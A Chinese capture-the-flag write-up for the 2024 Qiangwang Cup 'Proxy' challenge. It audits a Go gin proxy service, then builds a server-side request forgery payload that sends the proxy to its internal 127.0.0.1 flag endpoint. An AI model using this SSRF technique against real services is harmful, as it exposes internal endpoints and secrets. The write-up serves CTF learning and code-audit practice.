2024强网杯Proxy

代码审计

首先分析go语言代码

go 复制代码
package main

import (
	"bytes"
	"io"
	"net/http"
	"os/exec"

	"github.com/gin-gonic/gin"
)

type ProxyRequest struct {
	URL             string            `json:"url" binding:"required"`
	Method          string            `json:"method" binding:"required"`
	Body            string            `json:"body"`
	Headers         map[string]string `json:"headers"`
	FollowRedirects bool              `json:"follow_redirects"`
}

func main() {
	r := gin.Default()

	v1 := r.Group("/v1")
	{
		v1.POST("/api/flag", func(c *gin.Context) {
			cmd := exec.Command("/readflag")
			flag, err := cmd.CombinedOutput()
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}
			c.JSON(http.StatusOK, gin.H{"flag": flag})
		})
	}

	v2 := r.Group("/v2")
	{
		v2.POST("/api/proxy", func(c *gin.Context) {
			var proxyRequest ProxyRequest
			if err := c.ShouldBindJSON(&proxyRequest); err != nil {
				c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
				return
			}

			client := &http.Client{
				CheckRedirect: func(req *http.Request, via []*http.Request) error {
					if !req.URL.IsAbs() {
						return http.ErrUseLastResponse
					}

					if !proxyRequest.FollowRedirects {
						return http.ErrUseLastResponse
					}

					return nil
				},
			}

			req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			for key, value := range proxyRequest.Headers {
				req.Header.Set(key, value)
			}

			resp, err := client.Do(req)

			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			defer resp.Body.Close()

			body, err := io.ReadAll(resp.Body)
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			c.Status(resp.StatusCode)
			for key, value := range resp.Header {
				c.Header(key, value[0])
			}

			c.Writer.Write(body)
			c.Abort()
		})
	}

	r.Run("127.0.0.1:8769")
}

分析代码,这个代码使用的是gin框架,

核心代码

这个题目的和核心代码就是下面这些。

go 复制代码
type ProxyRequest struct {
	URL             string            `json:"url" binding:"required"`
	Method          string            `json:"method" binding:"required"`
	Body            string            `json:"body"`
	Headers         map[string]string `json:"headers"`
	FollowRedirects bool              `json:"follow_redirects"`
}

首先是定义了一段结构体,这段结构体定义了代理请求的格式,也就是说我们需要传入参数的格式与内容。

然后就是API路由

go 复制代码
	v1 := r.Group("/v1")
	{
		v1.POST("/api/flag", func(c *gin.Context) {
			cmd := exec.Command("/readflag")
			flag, err := cmd.CombinedOutput()
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}
			c.JSON(http.StatusOK, gin.H{"flag": flag})
		})
	}

创建一个/v1路由组,并添加POST请求的api/flag路由

这个路由的作用就是执行readflag命令,得到flag

然后就是v2路由

go 复制代码
	v2 := r.Group("/v2")
	{
		v2.POST("/api/proxy", func(c *gin.Context) {
			var proxyRequest ProxyRequest
			if err := c.ShouldBindJSON(&proxyRequest); err != nil {
				c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
				return
			}

创建v2路由组,并添加一个POST的请求/api/proxy路由

这个路由接收我们刚才定义的结构体中的数据

go 复制代码
			client := &http.Client{
				CheckRedirect: func(req *http.Request, via []*http.Request) error {
					if !req.URL.IsAbs() {
						return http.ErrUseLastResponse
					}

					if !proxyRequest.FollowRedirects {
						return http.ErrUseLastResponse
					}

					return nil
				},
			}

这段代码就是创建一个自定义的http客户端,并设置重定向规则,如果请求不是绝对url,就阻止重定向。

go 复制代码
			req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			for key, value := range proxyRequest.Headers {
				req.Header.Set(key, value)
			}

			resp, err := client.Do(req)

根据ProxyRequest中的参数创建一个新的HTTP请求

并将请求头设置为来自请求的头信息

发送请求并获取响应

go 复制代码
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			defer resp.Body.Close()

			body, err := io.ReadAll(resp.Body)
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			c.Status(resp.StatusCode)
			for key, value := range resp.Header {
				c.Header(key, value[0])
			}

			c.Writer.Write(body)
			c.Abort()
		})
	}

这段代码主要作用就是处理响应的错误,以及读取响应体内容和返回状态码与头信息。

构造payload

然后就可以根据代码来构造请求了

POST /v2/api/proxy HTTP/1.1
Host: 8.147.129.74:26637
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 170

{
  "url": "http://127.0.0.1:8769/v1/api/flag",
  "method": "POST",
  "body": "null",
  "headers": {
    "Authorization": "null"
  },
  "follow_redirects": true
}

发包,得到flag。

相关推荐
Code哈哈笑28 分钟前
【Java 学习】深度剖析Java多态:从向上转型到向下转型,解锁动态绑定的奥秘,让代码更优雅灵活
java·开发语言·学习
小林熬夜学编程1 小时前
【Linux网络编程】第十四弹---构建功能丰富的HTTP服务器:从状态码处理到服务函数扩展
linux·运维·服务器·c语言·网络·c++·http
Hacker_Fuchen1 小时前
天融信网络架构安全实践
网络·安全·架构
上海运维Q先生1 小时前
面试题整理15----K8s常见的网络插件有哪些
运维·网络·kubernetes
ProtonBase1 小时前
如何从 0 到 1 ,打造全新一代分布式数据架构
java·网络·数据库·数据仓库·分布式·云原生·架构
QQ同步助手1 小时前
如何正确使用人工智能:开启智慧学习与创新之旅
人工智能·学习·百度
流浪的小新1 小时前
【AI】人工智能、LLM学习资源汇总
人工智能·学习
A懿轩A2 小时前
C/C++ 数据结构与算法【数组】 数组详细解析【日常学习,考研必备】带图+详细代码
c语言·数据结构·c++·学习·考研·算法·数组
南宫生10 小时前
力扣-图论-17【算法学习day.67】
java·学习·算法·leetcode·图论
sanguine__10 小时前
Web APIs学习 (操作DOM BOM)
学习